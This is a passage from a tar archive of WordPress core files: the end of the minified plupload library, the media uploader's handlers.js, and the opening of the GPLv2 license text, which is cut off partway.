O(e){e.stop(),F.each(l,function(e){e.destroy()}),l=[],o.length&&(F.each(o,function(e){e.destroy()}),o=[]),d.length&&(F.each(d,function(e){e.destroy()}),d=[]),c=!(h={}),i=p=null,n.reset()}u={runtimes:I.Runtime.order,max_retries:0,chunk_size:0,multipart:!0,multi_selection:!0,file_data_name:"file",filters:{mime_types:[],prevent_duplicates:!1,max_file_size:0},resize:{enabled:!1,preserve_headers:!0,crop:!1},send_file_name:!0,send_chunk_number:!0},_.call(this,e,null,!0),n=new F.QueueProgress,F.extend(this,{id:t,uid:t,state:F.STOPPED,features:{},runtime:null,files:l,settings:u,total:n,init:function(){var t,i=this,e=i.getOption("preinit");return"function"==typeof e?e(i):F.each(e,function(e,t){i.bind(t,e)}),function(){this.bind("FilesAdded FilesRemoved",function(e){e.trigger("QueueChanged"),e.refresh()}),this.bind("CancelUpload",y),this.bind("BeforeUpload",m),this.bind("UploadFile",b),this.bind("UploadProgress",R),this.bind("StateChanged",E),this.bind("QueueChanged",a),this.bind("Error",z),this.bind("FileUploaded",v),this.bind("Destroy",O)}.call(i),F.each(["container","browse_button","drop_element"],function(e){if(null===i.getOption(e))return!(t={code:F.INIT_ERROR,message:F.translate("'%' specified, but cannot be found.")})}),t?i.trigger("Error",t):u.browse_button||u.drop_element?void g.call(i,u,function(e){var t=i.getOption("init");"function"==typeof t?t(i):F.each(t,function(e,t){i.bind(t,e)}),e?(i.runtime=I.Runtime.getInfo(f()).type,i.trigger("Init",{runtime:i.runtime}),i.trigger("PostInit")):i.trigger("Error",{code:F.INIT_ERROR,message:F.translate("Init error.")})}):i.trigger("Error",{code:F.INIT_ERROR,message:F.translate("You must specify either 'browse_button' or 'drop_element'.")})},setOption:function(e,t){_.call(this,e,t,!this.runtime)},getOption:function(e){return e?u[e]:u},refresh:function(){o.length&&F.each(o,function(e){e.trigger("Refresh")}),this.trigger("Refresh")},start:function(){this.state!=F.STARTED&&(this.state=F.STARTED,this.trigger("StateChanged"),r.call(this))},stop:function(){this.state!=F.STOPPED&&(this.state=F.STOPPED,this.trigger("StateChanged"),this.trigger("CancelUpload"))},disableBrowse:function(){c=arguments[0]===S||arguments[0],o.length&&F.each(o,function(e){e.disable(c)}),this.trigger("DisableBrowse",c)},getFile:function(e){for(var t=l.length-1;0<=t;t--)if(l[t].id===e)return l[t]},addFile:function(e,n){var r,s=this,a=[],o=[];r=f(),function e(i){var t=I.typeOf(i);if(i instanceof I.File){if(!i.ruid&&!i.isDetached()){if(!r)return!1;i.ruid=r,i.connectRuntime(r)}e(new F.File(i))}else i instanceof I.Blob?(e(i.getSource()),i.destroy()):i instanceof F.File?(n&&(i.name=n),a.push(function(t){var n,e,r;n=i,e=function(e){e||(l.push(i),o.push(i),s.trigger("FileFiltered",i)),T(t,1)},r=[],I.each(s.settings.filters,function(e,i){D[i]&&r.push(function(t){D[i].call(s,e,n,function(e){t(!e)})})}),I.inSeries(r,e)})):-1!==I.inArray(t,["file","blob"])?e(new I.File(null,i)):"node"===t&&"filelist"===I.typeOf(i.files)?I.each(i.files,e):"array"===t&&(n=null,I.each(i,e))}(e),a.length&&I.inSeries(a,function(){o.length&&s.trigger("FilesAdded",o)})},removeFile:function(e){for(var t="string"==typeof e?e:e.id,i=l.length-1;0<=i;i--)if(l[i].id===t)return this.splice(i,1)[0]},splice:function(e,t){var e=l.splice(e===S?0:e,t===S?l.length:t),i=!1;return this.state==F.STARTED&&(F.each(e,function(e){if(e.status===F.UPLOADING)return!(i=!0)}),i&&this.stop()),this.trigger("FilesRemoved",e),F.each(e,function(e){e.destroy()}),i&&this.start(),e},dispatchEvent:function(e){var t,i;if(e=e.toLowerCase(),t=this.hasEventListener(e)){t.sort(function(e,t){return t.priority-e.priority}),(i=[].slice.call(arguments)).shift(),i.unshift(this);for(var n=0;n<t.length;n++)if(!1===t[n].fn.apply(t[n].scope,i))return!1}return!0},bind:function(e,t,i,n){F.Uploader.prototype.bind.call(this,e,t,n,i)},destroy:function(){this.trigger("Destroy"),u=n=null,this.unbindAll()}})},F.Uploader.prototype=I.EventTarget.instance,F.File=(t={},function(e){F.extend(this,{id:F.guid(),name:e.name||e.fileName,type:e.type||"",size:e.size||e.fileSize,origSize:e.size||e.fileSize,loaded:0,percent:0,status:F.QUEUED,lastModifiedDate:e.lastModifiedDate||(new Date).toLocaleString(),getNative:function(){var e=this.getSource().getSource();return-1!==I.inArray(I.typeOf(e),["blob","file"])?e:null},getSource:function(){return t[this.id]||null},destroy:function(){var e=this.getSource();e&&(e.destroy(),delete t[this.id])}}),t[this.id]=e}),F.QueueProgress=function(){var e=this;e.size=0,e.loaded=0,e.uploaded=0,e.failed=0,e.queued=0,e.percent=0,e.bytesPerSec=0,e.reset=function(){e.size=e.loaded=e.uploaded=e.failed=e.queued=e.percent=e.bytesPerSec=0}},e.plupload=F}(window,mOxie);��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������js/plupload/handlers.js�����������������������������������������������������������������������������0000644�����������������00000047506�14717703502�0011160 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/* global plupload, pluploadL10n, ajaxurl, post_id, wpUploaderInit, deleteUserSetting, setUserSetting, getUserSetting, shortform */ var topWin = window.dialogArguments || opener || parent || top, uploader, uploader_init; // Progress and success handlers for media multi uploads. function fileQueued( fileObj ) { // Get rid of unused form. jQuery( '.media-blank' ).remove(); var items = jQuery( '#media-items' ).children(), postid = post_id || 0; // Collapse a single item. if ( items.length == 1 ) { items.removeClass( 'open' ).find( '.slidetoggle' ).slideUp( 200 ); } // Create a progress bar containing the filename. jQuery( '<div class="media-item">' ) .attr( 'id', 'media-item-' + fileObj.id ) .addClass( 'child-of-' + postid ) .append( '<div class="progress"><div class="percent">0%</div><div class="bar"></div></div>', jQuery( '<div class="filename original">' ).text( ' ' + fileObj.name ) ) .appendTo( jQuery( '#media-items' ) ); // Disable submit. jQuery( '#insert-gallery' ).prop( 'disabled', true ); } function uploadStart() { try { if ( typeof topWin.tb_remove != 'undefined' ) topWin.jQuery( '#TB_overlay' ).unbind( 'click', topWin.tb_remove ); } catch( e ){} return true; } function uploadProgress( up, file ) { var item = jQuery( '#media-item-' + file.id ); jQuery( '.bar', item ).width( ( 200 * file.loaded ) / file.size ); jQuery( '.percent', item ).html( file.percent + '%' ); } // Check to see if a large file failed to upload. function fileUploading( up, file ) { var hundredmb = 100 * 1024 * 1024, max = parseInt( up.settings.max_file_size, 10 ); if ( max > hundredmb && file.size > hundredmb ) { setTimeout( function() { if ( file.status < 3 && file.loaded === 0 ) { // Not uploading. wpFileError( file, pluploadL10n.big_upload_failed.replace( '%1$s', '<a class="uploader-html" href="#">' ).replace( '%2$s', '</a>' ) ); up.stop(); // Stop the whole queue. up.removeFile( file ); up.start(); // Restart the queue. } }, 10000 ); // Wait for 10 seconds for the file to start uploading. } } function updateMediaForm() { var items = jQuery( '#media-items' ).children(); // Just one file, no need for collapsible part. if ( items.length == 1 ) { items.addClass( 'open' ).find( '.slidetoggle' ).show(); jQuery( '.insert-gallery' ).hide(); } else if ( items.length > 1 ) { items.removeClass( 'open' ); // Only show Gallery/Playlist buttons when there are at least two files. jQuery( '.insert-gallery' ).show(); } // Only show Save buttons when there is at least one file. if ( items.not( '.media-blank' ).length > 0 ) jQuery( '.savebutton' ).show(); else jQuery( '.savebutton' ).hide(); } function uploadSuccess( fileObj, serverData ) { var item = jQuery( '#media-item-' + fileObj.id ); // On success serverData should be numeric, // fix bug in html4 runtime returning the serverData wrapped in a <pre> tag. if ( typeof serverData === 'string' ) { serverData = serverData.replace( /^<pre>(\d+)<\/pre>$/, '$1' ); // If async-upload returned an error message, place it in the media item div and return. if ( /media-upload-error|error-div/.test( serverData ) ) { item.html( serverData ); return; } } item.find( '.percent' ).html( pluploadL10n.crunching ); prepareMediaItem( fileObj, serverData ); updateMediaForm(); // Increment the counter. if ( post_id && item.hasClass( 'child-of-' + post_id ) ) { jQuery( '#attachments-count' ).text( 1 * jQuery( '#attachments-count' ).text() + 1 ); } } function setResize( arg ) { if ( arg ) { if ( window.resize_width && window.resize_height ) { uploader.settings.resize = { enabled: true, width: window.resize_width, height: window.resize_height, quality: 100 }; } else { uploader.settings.multipart_params.image_resize = true; } } else { delete( uploader.settings.multipart_params.image_resize ); } } function prepareMediaItem( fileObj, serverData ) { var f = ( typeof shortform == 'undefined' ) ? 1 : 2, item = jQuery( '#media-item-' + fileObj.id ); if ( f == 2 && shortform > 2 ) f = shortform; try { if ( typeof topWin.tb_remove != 'undefined' ) topWin.jQuery( '#TB_overlay' ).click( topWin.tb_remove ); } catch( e ){} if ( isNaN( serverData ) || !serverData ) { // Old style: Append the HTML returned by the server -- thumbnail and form inputs. item.append( serverData ); prepareMediaItemInit( fileObj ); } else { // New style: server data is just the attachment ID, fetch the thumbnail and form html from the server. item.load( 'async-upload.php', {attachment_id:serverData, fetch:f}, function(){prepareMediaItemInit( fileObj );updateMediaForm();}); } } function prepareMediaItemInit( fileObj ) { var item = jQuery( '#media-item-' + fileObj.id ); // Clone the thumbnail as a "pinkynail" -- a tiny image to the left of the filename. jQuery( '.thumbnail', item ).clone().attr( 'class', 'pinkynail toggle' ).prependTo( item ); // Replace the original filename with the new (unique) one assigned during upload. jQuery( '.filename.original', item ).replaceWith( jQuery( '.filename.new', item ) ); // Bind Ajax to the new Delete button. jQuery( 'a.delete', item ).on( 'click', function(){ // Tell the server to delete it. TODO: Handle exceptions. jQuery.ajax({ url: ajaxurl, type: 'post', success: deleteSuccess, error: deleteError, id: fileObj.id, data: { id : this.id.replace(/[^0-9]/g, '' ), action : 'trash-post', _ajax_nonce : this.href.replace(/^.*wpnonce=/,'' ) } }); return false; }); // Bind Ajax to the new Undo button. jQuery( 'a.undo', item ).on( 'click', function(){ // Tell the server to untrash it. TODO: Handle exceptions. jQuery.ajax({ url: ajaxurl, type: 'post', id: fileObj.id, data: { id : this.id.replace(/[^0-9]/g,'' ), action: 'untrash-post', _ajax_nonce: this.href.replace(/^.*wpnonce=/,'' ) }, success: function( ){ var type, item = jQuery( '#media-item-' + fileObj.id ); if ( type = jQuery( '#type-of-' + fileObj.id ).val() ) jQuery( '#' + type + '-counter' ).text( jQuery( '#' + type + '-counter' ).text()-0+1 ); if ( post_id && item.hasClass( 'child-of-'+post_id ) ) jQuery( '#attachments-count' ).text( jQuery( '#attachments-count' ).text()-0+1 ); jQuery( '.filename .trashnotice', item ).remove(); jQuery( '.filename .title', item ).css( 'font-weight','normal' ); jQuery( 'a.undo', item ).addClass( 'hidden' ); jQuery( '.menu_order_input', item ).show(); item.css( {backgroundColor:'#ceb'} ).animate( {backgroundColor: '#fff'}, { queue: false, duration: 500, complete: function(){ jQuery( this ).css({backgroundColor:''}); } }).removeClass( 'undo' ); } }); return false; }); // Open this item if it says to start open (e.g. to display an error). jQuery( '#media-item-' + fileObj.id + '.startopen' ).removeClass( 'startopen' ).addClass( 'open' ).find( 'slidetoggle' ).fadeIn(); } // Generic error message. function wpQueueError( message ) { jQuery( '#media-upload-error' ).show().html( '<div class="error"><p>' + message + '</p></div>' ); } // File-specific error messages. function wpFileError( fileObj, message ) { itemAjaxError( fileObj.id, message ); } function itemAjaxError( id, message ) { var item = jQuery( '#media-item-' + id ), filename = item.find( '.filename' ).text(), last_err = item.data( 'last-err' ); if ( last_err == id ) // Prevent firing an error for the same file twice. return; item.html( '<div class="error-div">' + '<a class="dismiss" href="#">' + pluploadL10n.dismiss + '</a>' + '<strong>' + pluploadL10n.error_uploading.replace( '%s', jQuery.trim( filename )) + '</strong> ' + message + '</div>' ).data( 'last-err', id ); } function deleteSuccess( data ) { var type, id, item; if ( data == '-1' ) return itemAjaxError( this.id, 'You do not have permission. Has your session expired?' ); if ( data == '0' ) return itemAjaxError( this.id, 'Could not be deleted. Has it been deleted already?' ); id = this.id; item = jQuery( '#media-item-' + id ); // Decrement the counters. if ( type = jQuery( '#type-of-' + id ).val() ) jQuery( '#' + type + '-counter' ).text( jQuery( '#' + type + '-counter' ).text() - 1 ); if ( post_id && item.hasClass( 'child-of-'+post_id ) ) jQuery( '#attachments-count' ).text( jQuery( '#attachments-count' ).text() - 1 ); if ( jQuery( 'form.type-form #media-items' ).children().length == 1 && jQuery( '.hidden', '#media-items' ).length > 0 ) { jQuery( '.toggle' ).toggle(); jQuery( '.slidetoggle' ).slideUp( 200 ).siblings().removeClass( 'hidden' ); } // Vanish it. jQuery( '.toggle', item ).toggle(); jQuery( '.slidetoggle', item ).slideUp( 200 ).siblings().removeClass( 'hidden' ); item.css( {backgroundColor:'#faa'} ).animate( {backgroundColor:'#f4f4f4'}, {queue:false, duration:500} ).addClass( 'undo' ); jQuery( '.filename:empty', item ).remove(); jQuery( '.filename .title', item ).css( 'font-weight','bold' ); jQuery( '.filename', item ).append( '<span class="trashnotice"> ' + pluploadL10n.deleted + ' </span>' ).siblings( 'a.toggle' ).hide(); jQuery( '.filename', item ).append( jQuery( 'a.undo', item ).removeClass( 'hidden' ) ); jQuery( '.menu_order_input', item ).hide(); return; } function deleteError() { } function uploadComplete() { jQuery( '#insert-gallery' ).prop( 'disabled', false ); } function switchUploader( s ) { if ( s ) { deleteUserSetting( 'uploader' ); jQuery( '.media-upload-form' ).removeClass( 'html-uploader' ); if ( typeof( uploader ) == 'object' ) uploader.refresh(); } else { setUserSetting( 'uploader', '1' ); // 1 == html uploader. jQuery( '.media-upload-form' ).addClass( 'html-uploader' ); } } function uploadError( fileObj, errorCode, message, up ) { var hundredmb = 100 * 1024 * 1024, max; switch ( errorCode ) { case plupload.FAILED: wpFileError( fileObj, pluploadL10n.upload_failed ); break; case plupload.FILE_EXTENSION_ERROR: wpFileExtensionError( up, fileObj, pluploadL10n.invalid_filetype ); break; case plupload.FILE_SIZE_ERROR: uploadSizeError( up, fileObj ); break; case plupload.IMAGE_FORMAT_ERROR: wpFileError( fileObj, pluploadL10n.not_an_image ); break; case plupload.IMAGE_MEMORY_ERROR: wpFileError( fileObj, pluploadL10n.image_memory_exceeded ); break; case plupload.IMAGE_DIMENSIONS_ERROR: wpFileError( fileObj, pluploadL10n.image_dimensions_exceeded ); break; case plupload.GENERIC_ERROR: wpQueueError( pluploadL10n.upload_failed ); break; case plupload.IO_ERROR: max = parseInt( up.settings.filters.max_file_size, 10 ); if ( max > hundredmb && fileObj.size > hundredmb ) { wpFileError( fileObj, pluploadL10n.big_upload_failed.replace( '%1$s', '<a class="uploader-html" href="#">' ).replace( '%2$s', '</a>' ) ); } else { wpQueueError( pluploadL10n.io_error ); } break; case plupload.HTTP_ERROR: wpQueueError( pluploadL10n.http_error ); break; case plupload.INIT_ERROR: jQuery( '.media-upload-form' ).addClass( 'html-uploader' ); break; case plupload.SECURITY_ERROR: wpQueueError( pluploadL10n.security_error ); break; /* case plupload.UPLOAD_ERROR.UPLOAD_STOPPED: case plupload.UPLOAD_ERROR.FILE_CANCELLED: jQuery( '#media-item-' + fileObj.id ).remove(); break;*/ default: wpFileError( fileObj, pluploadL10n.default_error ); } } function uploadSizeError( up, file ) { var message, errorDiv; message = pluploadL10n.file_exceeds_size_limit.replace( '%s', file.name ); // Construct the error div. errorDiv = jQuery( '<div />' ) .attr( { 'id': 'media-item-' + file.id, 'class': 'media-item error' } ) .append( jQuery( '<p />' ) .text( message ) ); // Append the error. jQuery( '#media-items' ).append( errorDiv ); up.removeFile( file ); } function wpFileExtensionError( up, file, message ) { jQuery( '#media-items' ).append( '<div id="media-item-' + file.id + '" class="media-item error"><p>' + message + '</p></div>' ); up.removeFile( file ); } /** * Copies the attachment URL to the clipboard. * * @since 5.8.0 * * @param {MouseEvent} event A click event. * * @return {void} */ function copyAttachmentUploadURLClipboard() { var clipboard = new ClipboardJS( '.copy-attachment-url' ), successTimeout; clipboard.on( 'success', function( event ) { var triggerElement = jQuery( event.trigger ), successElement = jQuery( '.success', triggerElement.closest( '.copy-to-clipboard-container' ) ); // Clear the selection and move focus back to the trigger. event.clearSelection(); // Handle ClipboardJS focus bug, see https://github.com/zenorocha/clipboard.js/issues/680 triggerElement.trigger( 'focus' ); // Show success visual feedback. clearTimeout( successTimeout ); successElement.removeClass( 'hidden' ); // Hide success visual feedback after 3 seconds since last success. successTimeout = setTimeout( function() { successElement.addClass( 'hidden' ); }, 3000 ); // Handle success audible feedback. wp.a11y.speak( pluploadL10n.file_url_copied ); } ); } jQuery( document ).ready( function( $ ) { copyAttachmentUploadURLClipboard(); var tryAgainCount = {}; var tryAgain; $( '.media-upload-form' ).bind( 'click.uploader', function( e ) { var target = $( e.target ), tr, c; if ( target.is( 'input[type="radio"]' ) ) { // Remember the last used image size and alignment. tr = target.closest( 'tr' ); if ( tr.hasClass( 'align' ) ) setUserSetting( 'align', target.val() ); else if ( tr.hasClass( 'image-size' ) ) setUserSetting( 'imgsize', target.val() ); } else if ( target.is( 'button.button' ) ) { // Remember the last used image link url. c = e.target.className || ''; c = c.match( /url([^ '"]+)/ ); if ( c && c[1] ) { setUserSetting( 'urlbutton', c[1] ); target.siblings( '.urlfield' ).val( target.data( 'link-url' ) ); } } else if ( target.is( 'a.dismiss' ) ) { target.parents( '.media-item' ).fadeOut( 200, function() { $( this ).remove(); } ); } else if ( target.is( '.upload-flash-bypass a' ) || target.is( 'a.uploader-html' ) ) { // Switch uploader to html4. $( '#media-items, p.submit, span.big-file-warning' ).css( 'display', 'none' ); switchUploader( 0 ); e.preventDefault(); } else if ( target.is( '.upload-html-bypass a' ) ) { // Switch uploader to multi-file. $( '#media-items, p.submit, span.big-file-warning' ).css( 'display', '' ); switchUploader( 1 ); e.preventDefault(); } else if ( target.is( 'a.describe-toggle-on' ) ) { // Show. target.parent().addClass( 'open' ); target.siblings( '.slidetoggle' ).fadeIn( 250, function() { var S = $( window ).scrollTop(), H = $( window ).height(), top = $( this ).offset().top, h = $( this ).height(), b, B; if ( H && top && h ) { b = top + h; B = S + H; if ( b > B ) { if ( b - B < top - S ) window.scrollBy( 0, ( b - B ) + 10 ); else window.scrollBy( 0, top - S - 40 ); } } } ); e.preventDefault(); } else if ( target.is( 'a.describe-toggle-off' ) ) { // Hide. target.siblings( '.slidetoggle' ).fadeOut( 250, function() { target.parent().removeClass( 'open' ); } ); e.preventDefault(); } }); // Attempt to create image sub-sizes when an image was uploaded successfully // but the server responded with an HTTP 5xx error. tryAgain = function( up, error ) { var file = error.file; var times; var id; if ( ! error || ! error.responseHeaders ) { wpQueueError( pluploadL10n.http_error_image ); return; } id = error.responseHeaders.match( /x-wp-upload-attachment-id:\s*(\d+)/i ); if ( id && id[1] ) { id = id[1]; } else { wpQueueError( pluploadL10n.http_error_image ); return; } times = tryAgainCount[ file.id ]; if ( times && times > 4 ) { /* * The file may have been uploaded and attachment post created, * but post-processing and resizing failed... * Do a cleanup then tell the user to scale down the image and upload it again. */ $.ajax({ type: 'post', url: ajaxurl, dataType: 'json', data: { action: 'media-create-image-subsizes', _wpnonce: wpUploaderInit.multipart_params._wpnonce, attachment_id: id, _wp_upload_failed_cleanup: true, } }); if ( error.message && ( error.status < 500 || error.status >= 600 ) ) { wpQueueError( error.message ); } else { wpQueueError( pluploadL10n.http_error_image ); } return; } if ( ! times ) { tryAgainCount[ file.id ] = 1; } else { tryAgainCount[ file.id ] = ++times; } // Try to create the missing image sizes. $.ajax({ type: 'post', url: ajaxurl, dataType: 'json', data: { action: 'media-create-image-subsizes', _wpnonce: wpUploaderInit.multipart_params._wpnonce, attachment_id: id, _legacy_support: 'true', } }).done( function( response ) { var message; if ( response.success ) { uploadSuccess( file, response.data.id ); } else { if ( response.data && response.data.message ) { message = response.data.message; } wpQueueError( message || pluploadL10n.http_error_image ); } }).fail( function( jqXHR ) { // If another HTTP 5xx error, try try again... if ( jqXHR.status >= 500 && jqXHR.status < 600 ) { tryAgain( up, error ); return; } wpQueueError( pluploadL10n.http_error_image ); }); } // Init and set the uploader. uploader_init = function() { uploader = new plupload.Uploader( wpUploaderInit ); $( '#image_resize' ).bind( 'change', function() { var arg = $( this ).prop( 'checked' ); setResize( arg ); if ( arg ) setUserSetting( 'upload_resize', '1' ); else deleteUserSetting( 'upload_resize' ); }); uploader.bind( 'Init', function( up ) { var uploaddiv = $( '#plupload-upload-ui' ); setResize( getUserSetting( 'upload_resize', false ) ); if ( up.features.dragdrop && ! $( document.body ).hasClass( 'mobile' ) ) { uploaddiv.addClass( 'drag-drop' ); $( '#drag-drop-area' ).on( 'dragover.wp-uploader', function() { // dragenter doesn't fire right :( uploaddiv.addClass( 'drag-over' ); }).on( 'dragleave.wp-uploader, drop.wp-uploader', function() { uploaddiv.removeClass( 'drag-over' ); }); } else { uploaddiv.removeClass( 'drag-drop' ); $( '#drag-drop-area' ).off( '.wp-uploader' ); } if ( up.runtime === 'html4' ) { $( '.upload-flash-bypass' ).hide(); } }); uploader.bind( 'postinit', function( up ) { up.refresh(); }); uploader.init(); uploader.bind( 'FilesAdded', function( up, files ) { $( '#media-upload-error' ).empty(); uploadStart(); plupload.each( files, function( file ) { if ( file.type === 'image/heic' && up.settings.heic_upload_error ) { // Show error but do not block uploading. wpQueueError( pluploadL10n.unsupported_image ); } else if ( file.type === 'image/webp' && up.settings.webp_upload_error ) { // Disallow uploading of WebP images if the server cannot edit them. wpQueueError( pluploadL10n.noneditable_image ); up.removeFile( file ); return; } fileQueued( file ); }); up.refresh(); up.start(); }); uploader.bind( 'UploadFile', function( up, file ) { fileUploading( up, file ); }); uploader.bind( 'UploadProgress', function( up, file ) { uploadProgress( up, file ); }); uploader.bind( 'Error', function( up, error ) { var isImage = error.file && error.file.type && error.file.type.indexOf( 'image/' ) === 0; var status = error && error.status; // If the file is an image and the error is HTTP 5xx try to create sub-sizes again. if ( isImage && status >= 500 && status < 600 ) { tryAgain( up, error ); return; } uploadError( error.file, error.code, error.message, up ); up.refresh(); }); uploader.bind( 'FileUploaded', function( up, file, response ) { uploadSuccess( file, response.response ); }); uploader.bind( 'UploadComplete', function() { uploadComplete(); }); }; if ( typeof( wpUploaderInit ) == 'object' ) { uploader_init(); } }); ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������js/plupload/license.txt�����������������������������������������������������������������������������0000644�����������������00000043103�14717703502�0011172 0����������������������������������������������������������������������������������������������������ustar�00������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������� GNU GENERAL PUBLIC LICENSE Version 2, June 1991 Copyright (C) 1989, 1991 Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The licenses for most software are designed to take away your freedom to share and change it. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change free software--to make sure the software is free for all its users. This General Public License applies to most of the Free Software Foundation's software and to any other program whose authors commit to using it. (Some other Free Software Foundation software is covered by the GNU Lesser General Public License instead.) You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for this service if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs; and that you know you can do these things. To protect your rights, we need to make restrictions that forbid anyone to deny you these rights or to ask you to surrender the rights. These restrictions translate to certain responsibilities for you if you distribute copies of the software, or if you modify it. For example, if you distribute copies of such a program, whether gratis or for a fee, you must give the recipients all the rights that you have. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. We protect your rights with two steps: (1) copyright the software, and (2) offer you this license which gives you legal permission to copy, distribute and/or modify the software. Also, for each author's protection and ours, we want to make certain that everyone understands that there is no warranty for this free software. If the software is modified by someone else and passed on, we want its recipients to know that what they have is not the original, so that any problems introduced by others will not reflect on the original authors' reputations. Finally, any free program is threatened constantly by software patents. We wish to avoid the danger that redistributors of a free program will individually obtain patent licenses, in effect making the program proprietary. To prevent this, we have made it clear that any patent must be licensed for everyone's free use or not licensed at all. The precise terms and conditions for copying, distribution and modification follow. GNU GENERAL PUBLIC LICENSE TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 0. This License applies to any program or other work which contains a notice placed by the copyright holder saying it may be distributed under the terms of this General Public License. The "Program", below, refers to any such program or work, and a "work based on the Program" means either the Program or any derivative work under copyright law: that is to say, a work containing the Program or a portion of it, either verbatim or with modifications and/or translated into another language. (Hereinafter, translation is included without limitation in the term "modification".) Each licensee is addressed as "you". Activities other than copying, distribution and modification are not covered by this License; they are outside its scope. The act of running the Program is not restricted, and the output from the Program is covered only if its contents constitute a work based on the Program (independent of having been made by running the Program). Whether that is true depends on what the Program does. 1. You may copy and distribute verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice and disclaimer of warranty; keep intact all the notices that refer to this License and to the absence of any warranty; and give any other recipients of the Program a copy of this License along with the Program. You may charge a fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee. 2. You may modify your copy or copies of the Program or any portion of it, thus forming a work based on the Program, and copy and distribute such modifications or work under the terms of Section 1 above, provided that you also meet all of these conditions: a) You must cause the modified files to carry prominent notices stating that you changed the files and the date of any change. b) You must cause any work that you distribute or publish, that in whole or in part contains or is derived from the Program or any part thereof, to be licensed as a whole at no charge to all third parties under the terms of this License. c) If the modified program normally reads commands interactively when run, you must cause it, when started running for such interactive use in the most ordinary way, to print or display an announcement including an appropriate copyright notice and a notice that there is no warranty (or else, saying that you provide a warranty) and that users may redistribute the program under these conditions, and telling the user how to view a copy of this License. (Exception: if the Program itself is interactive but does not normally print such an announcement, your work based on the Program is not required to print an announcement.) These requirements apply to the modified work as a whole. If identifiable sections of that work are not derived from the Program, and can be reasonably considered independent and separate works in themselves, then this License, and its terms, do not apply to those sections when you distribute them as separate works. But when you distribute the same sections as part of a whole which is a work based on the Program, the distribution of the whole must be on the terms of this License, whose permissions for other licensees extend to the entire whole, and thus to each and every part regardless of who wrote it. Thus, it is not the intent of this section to claim rights or contest your rights to work written entirely by you; rather, the intent is to exercise the right to control the distribution of derivative or collective works based on the Program. In addition, mere aggregation of another work not based on the Program with the Program (or with a work based on the Program) on a volume of a storage or distribution medium does not bring the other work under the scope of this License. 3. You may copy and distribute the Program (or a work based on it, under Section 2) in object code or executable form under the terms of Sections 1 and 2 above provided that you also do one of the following: a) Accompany it with the complete corresponding machine-readable source code, which must be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, b) Accompany it with a written offer, valid for at least three years, to give any third party, for a charge no more than your cost of physically performing source distribution, a complete machine-readable copy of the corresponding source code, to be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, c) Accompany it with the information you received as to the offer to distribute corresponding source code. (This alternative is allowed only for noncommercial distribution and only if you received the program in object code or executable form with such an offer, in accord with Subsection b above.) The source code for a work means the preferred form of the work for making modifications to it. For an executable work, complete source code means all the source code for all modules it contains, plus any associated interface definition files, plus the scripts used to control compilation and installation of the executable. However, as a special exception, the source code distributed need not include anything that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, unless that component itself accompanies the executable. If distribution of executable or object code is made by offering access to copy from a designated place, then offering equivalent access to copy the source code from the same place counts as distribution of the source code, even though third parties are not compelled to copy the source along with the object code. 4. You may not copy, modify, sublicense, or distribute the Program except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense or distribute the Program is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance. 5. You are not required to accept this License, since you have not signed it. However, nothing else grants you permission to modify or distribute the Program or its derivative works. These actions are prohibited by law if you do not accept this License. Therefore, by modifying or distributing the Program (or any work based on the Program), you indicate your acceptance of this License to do so, and all its terms and conditions for copying, distributing or modifying the Program or works based on it. 6. Each time you redistribute the Program (or any work based on the Program), the recipient automatically receives a license from the original licensor to copy, distribute or modify the Program subject to these terms and conditions. You may not impose any further restrictions on the recipients' exercise of the rights granted herein. You are not responsible for enforcing compliance by third parties to this License. 7. If, as a consequence of a court judgment or allegation of patent infringement or for any other reason (not limited to patent issues), conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot distribute so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not distribute the Program at all. For example, if a patent license would not permit royalty-free redistribution of the Program by all those who receive copies directly or indirectly through you, then the only way you could satisfy both it and this License would be to refrain entirely from distribution of the Program. If any portion of this section is held invalid or unenforceable under any particular circumstance, the balance of the section is intended to apply and the section as a whole is intended to apply in other circumstances. It is not the purpose of this section to induce you to infringe any patents or other property right claims or to contest validity of any such claims; this section has the sole purpose of protecting the integrity of the free software distribution system, which is implemented by public license practices. Many people have made generous contributions to the wide range of software distributed through that system in reliance on consistent application of that system; it is up to the author/donor to decide if he or she is willing to distribute software through any other system and a licensee cannot impose that choice. This section is intended to make thoroughly clear what is believed to be a consequence of the rest of this License. 8. If the distribution and/or use of the Program is restricted in certain countries either by patents or by copyrighted interfaces, the original copyright holder who places the Program under this License may add an explicit geographical distribution limitation excluding those countries, so that distribution is permitted only in or among countries not thus excluded. In such case, this License incorporates the limitation as if written in the body of this License. 9. The Free Software Foundation may publish revised and/or new versions of the General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies a version number of this License which applies to it and "any later version", you have the option of following the terms and conditions either of that version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of this License, you may choose any version ever published by the Free Software Foundation. 10. If you wish to incorporate parts of the Program into other free programs whose distribution conditions are different, write to the author to ask for permission. For software which is copyrighted by the Free Software Foundation, write to the Free Software Foundation; we sometimes make exceptions for this. Our decision will 